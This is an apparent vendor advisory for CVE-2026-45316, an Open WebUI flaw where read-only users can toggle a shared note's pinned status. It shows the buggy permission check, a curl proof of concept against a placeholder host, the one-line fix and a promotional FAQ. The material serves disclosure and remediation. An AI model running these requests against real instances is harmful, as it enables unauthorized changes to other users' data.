CVE-2026-45316

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open_webui/routers/notes.py lines 412-444

@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
    # ...
    if user.role != 'admin' and (
        user.id != note.user_id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='note',
            resource_id=note.id,
            permission='read',        # BUG: should be 'write'
            db=db,
        )
    ):
        raise HTTPException(...)
    
    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation

Compare with update endpoint (correct, line 318-327):

async def update_note_by_id(...):
    # ...
    and not await AccessGrants.has_access(
        permission='write',        # correctly checks 'write'
    )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.

Setup:

1. UserA creates a note
2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}

Test:

# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false

# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden

# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true

# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)

E2E Verified Result:

• Step 1: UserB reads note (READ) -> 200 OK ✓
• Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
• Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
• Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)

• A user with only read access to a shared note can toggle its is_pinned status
• This modifies the note's state without write authorization
• The pin status change is visible to the note owner and all other users with access
• Privilege escalation from read to write on the pin operation

Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-45316 has a CVSS score of 3.5 (Low). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.3); upgrading removes the vulnerable code path.

Kodem intelligence

One-line fix, change permission='read' to permission='write' in pin_note_by_id:

# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',

This makes the pin endpoint consistent with update and delete endpoints.

1. What is CVE-2026-45316? CVE-2026-45316 is a low-severity incorrect authorization vulnerability in open-webui (pip), affecting versions <= 0.9.2. It is fixed in 0.9.3. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-45316? CVE-2026-45316 has a CVSS score of 3.5 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45316? open-webui (pip) versions <= 0.9.2 is affected.
4. Is there a fix for CVE-2026-45316? Yes. CVE-2026-45316 is fixed in 0.9.3. Upgrade to this version or later.
5. Is CVE-2026-45316 exploitable, and should I be worried? Whether CVE-2026-45316 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45316 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45316? Upgrade open-webui to 0.9.3 or later.

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